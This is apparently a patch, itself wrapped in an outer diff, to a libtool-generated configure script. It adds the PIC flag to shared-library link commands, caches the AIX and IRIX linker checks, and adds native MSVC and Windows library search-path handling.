-@@ -8477,8 +8991,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -8496,8 +9010,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -8543,8 +9057,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -8674,7 +9188,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- if test x$gcc_no_link = xyes; then
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test x$gcc_no_link = xyes; then
- as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
- fi
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-@@ -8690,22 +9210,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -8717,7 +9244,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- if test x$gcc_no_link = xyes; then
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test x$gcc_no_link = xyes; then
- as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
- fi
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-@@ -8733,22 +9266,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -8793,20 +9333,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
-- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-- fix_srcfile_path='`cygpath -w "$srcfile"`'
-- enable_shared_with_static_runtimes=yes
-+ case $cc_basename in
-+ cl*)
-+ # Native MSVC
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ always_export_symbols=yes
-+ file_list_spec='@'
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
-+ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
-+ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
-+ else
-+ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
-+ fi~
-+ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
-+ linknames='
-+ # The linker will not automatically build a static lib if we build a DLL.
-+ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
-+ enable_shared_with_static_runtimes=yes
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ # Don't use ranlib
-+ old_postinstall_cmds='chmod 644 $oldlib'
-+ postlink_cmds='lt_outputfile="@OUTPUT@"~
-+ lt_tool_outputfile="@TOOL_OUTPUT@"~
-+ case $lt_outputfile in
-+ *.exe|*.EXE) ;;
-+ *)
-+ lt_outputfile="$lt_outputfile.exe"
-+ lt_tool_outputfile="$lt_tool_outputfile.exe"
-+ ;;
-+ esac~
-+ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
-+ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
-+ $RM "$lt_outputfile.manifest";
-+ fi'
-+ ;;
-+ *)
-+ # Assume MSVC wrapper
-+ hardcode_libdir_flag_spec=' '
-+ allow_undefined_flag=unsupported
-+ # Tell ltmain to make .lib files, not .a files.
-+ libext=lib
-+ # Tell ltmain to make .dll files, not .so files.
-+ shrext_cmds=".dll"
-+ # FIXME: Setting linknames here is a bad hack.
-+ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-+ # The linker will automatically build a .lib file if we build a DLL.
-+ old_archive_from_new_cmds='true'
-+ # FIXME: Should let the user specify the lib program.
-+ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
-+ enable_shared_with_static_runtimes=yes
-+ ;;
-+ esac
- ;;
-
- darwin* | rhapsody*)
-@@ -8867,7 +9450,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | dragonfly*)
-- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec='-R$libdir'
- hardcode_direct=yes
- hardcode_shlibpath_var=no
-@@ -8875,7 +9458,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux9*)
- if test "$GCC" = yes; then
-- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
-+ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
-@@ -8891,7 +9474,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hpux10*)
- if test "$GCC" = yes && test "$with_gnu_ld" = no; then
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
-@@ -8915,10 +9498,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
-- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
-@@ -8997,26 +9580,39 @@ fi
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- # Try to use the -exported_symbol ld option, if it does not
- # work, assume that -exports_file does not work either and
- # implicitly export all symbols.
-- save_LDFLAGS="$LDFLAGS"
-- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-- if test x$gcc_no_link = xyes; then
-+ # This should be the same for all languages, so no per-tag cache variable.
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
-+$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
-+if ${lt_cv_irix_exported_symbol+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ save_LDFLAGS="$LDFLAGS"
-+ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
-+ if test x$gcc_no_link = xyes; then
- as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
- fi
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
--int foo(void) {}
-+int foo (void) { return 0; }
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
--
-+ lt_cv_irix_exported_symbol=yes
-+else
-+ lt_cv_irix_exported_symbol=no
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-- LDFLAGS="$save_LDFLAGS"
-+ LDFLAGS="$save_LDFLAGS"
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
-+$as_echo "$lt_cv_irix_exported_symbol" >&6; }
-+ if test "$lt_cv_irix_exported_symbol" = yes; then
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
-+ fi
- else
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9101,7 +9697,7 @@ rm -f core conftest.err conftest.$ac_objext \
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
-- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
-+ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag=' -expect_unresolved \*'
-@@ -9120,9 +9716,9 @@ rm -f core conftest.err conftest.$ac_objext \
- no_undefined_flag=' -z defs'
- if test "$GCC" = yes; then
- wlarc='${wl}'
-- archive_cmds='$CC -shared ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
-+ archive_cmds='$CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds='echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~echo "local: *; };" >> $lib.exp~
-- $CC -shared ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
-+ $CC -shared $pic_flag ${wl}-z ${wl}text ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$RM $lib.exp'
- else
- case `$CC -V 2>&1` in
- *"Compilers 5.0"*)
-@@ -9698,8 +10294,9 @@ cygwin* | mingw* | pw32* | cegcc*)
- need_version=no
- need_lib_prefix=no
-
-- case $GCC,$host_os in
-- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
-+ case $GCC,$cc_basename in
-+ yes,*)
-+ # gcc
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
-@@ -9732,13 +10329,71 @@ cygwin* | mingw* | pw32* | cegcc*)
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
-+ dynamic_linker='Win32 ld.exe'
-+ ;;
-+
-+ *,cl*)
-+ # Native MSVC
-+ libname_spec='$name'
-+ soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
-+ library_names_spec='${libname}.dll.lib'
-+
-+ case $build_os in
-+ mingw*)
-+ sys_lib_search_path_spec=
-+ lt_save_ifs=$IFS
-+ IFS=';'
-+ for lt_path in $LIB
-+ do
-+ IFS=$lt_save_ifs
-+ # Let DOS variable expansion print the short 8.3 style file name.
-+ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
-+ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
-+ done
-+ IFS=$lt_save_ifs
-+ # Convert to MSYS style.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([a-zA-Z]\\):| /\\1|g' -e 's|^ ||'`
-+ ;;
-+ cygwin*)
-+ # Convert to unix form, then to dos form, then back to unix form
-+ # but this time dos style (no spaces!) so that the unix form looks
-+ # like /cygdrive/c/PROGRA~1:/cygdr...
-+ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
-+ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
-+ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ ;;
-+ *)
-+ sys_lib_search_path_spec="$LIB"
-+ if $ECHO "$sys_lib_search_path_spec" | $GREP ';[c-zC-Z]:/' >/dev/null; then
-+ # It is most probably a Windows format PATH.
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
-+ else
-+ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
-+ fi
-+ # FIXME: find the short name or the path components, as spaces are
-+ # common. (e.g. "Program Files" -> "PROGRA~1")
-+ ;;
-+ esac
-+
-+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
-+ postinstall_cmds='base_file=`basename \${file}`~
-+ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
-+ dldir=$destdir/`dirname \$dlpath`~
-+ test -d \$dldir || mkdir -p \$dldir~
-+ $install_prog $dir/$dlname \$dldir/$dlname'
-+ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
-+ dlpath=$dir/\$dldll~
-+ $RM \$dlpath'
-+ shlibpath_overrides_runpath=yes
-+ dynamic_linker='Win32 link.exe'
- ;;
-
- *)
-+ # Assume MSVC wrapper
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
-+ dynamic_linker='Win32 ld.exe'
- ;;
- esac
-- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-@@ -9830,7 +10485,7 @@ haiku*)
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LIBRARY_PATH
- shlibpath_overrides_runpath=yes
-- sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/beos/system/lib'
-+ sys_lib_dlsearch_path_spec='/boot/home/config/lib /boot/common/lib /boot/system/lib'
- hardcode_into_libs=yes
- ;;
-
-@@ -10644,7 +11299,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 10647 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -10688,10 +11343,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -10750,7 +11405,7 @@ else
- lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
- lt_status=$lt_dlunknown
- cat > conftest.$ac_ext <<_LT_EOF
--#line 10753 "configure"
-+#line $LINENO "configure"
- #include "confdefs.h"
-
- #if HAVE_DLFCN_H
-@@ -10794,10 +11449,10 @@ else
- /* When -fvisbility=hidden is used, assume the code has been annotated
- correspondingly for the symbols needed. */
- #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
--void fnord () __attribute__((visibility("default")));
-+int fnord () __attribute__((visibility("default")));
- #endif
-
--void fnord () { int i=42; }
-+int fnord () { return 42; }
- int main ()
- {
- void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -12267,13 +12922,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
- lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
- lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
- lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_host_file_cmd='`$ECHO "$lt_cv_to_host_file_cmd" | $SED "$delay_single_quote_subst"`'
-+lt_cv_to_tool_file_cmd='`$ECHO "$lt_cv_to_tool_file_cmd" | $SED "$delay_single_quote_subst"`'
- reload_flag='`$ECHO "$reload_flag" | $SED "$delay_single_quote_subst"`'
- reload_cmds='`$ECHO "$reload_cmds" | $SED "$delay_single_quote_subst"`'
- OBJDUMP='`$ECHO "$OBJDUMP" | $SED "$delay_single_quote_subst"`'
- deplibs_check_method='`$ECHO "$deplibs_check_method" | $SED "$delay_single_quote_subst"`'
- file_magic_cmd='`$ECHO "$file_magic_cmd" | $SED "$delay_single_quote_subst"`'
-+file_magic_glob='`$ECHO "$file_magic_glob" | $SED "$delay_single_quote_subst"`'
-+want_nocaseglob='`$ECHO "$want_nocaseglob" | $SED "$delay_single_quote_subst"`'
-+DLLTOOL='`$ECHO "$DLLTOOL" | $SED "$delay_single_quote_subst"`'
-+sharedlib_from_linklib_cmd='`$ECHO "$sharedlib_from_linklib_cmd" | $SED "$delay_single_quote_subst"`'
- AR='`$ECHO "$AR" | $SED "$delay_single_quote_subst"`'
- AR_FLAGS='`$ECHO "$AR_FLAGS" | $SED "$delay_single_quote_subst"`'
-+archiver_list_spec='`$ECHO "$archiver_list_spec" | $SED "$delay_single_quote_subst"`'
- STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
- RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
- old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -12288,14 +12950,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
- lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
-+nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
-+lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
- objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
- MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
--lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
-+lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
- lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
- lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
- need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
-+MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
- DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
- NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
- LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -12328,12 +12993,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
- hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
- inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
- link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
--fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
- always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
- export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
- exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
- include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
- prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
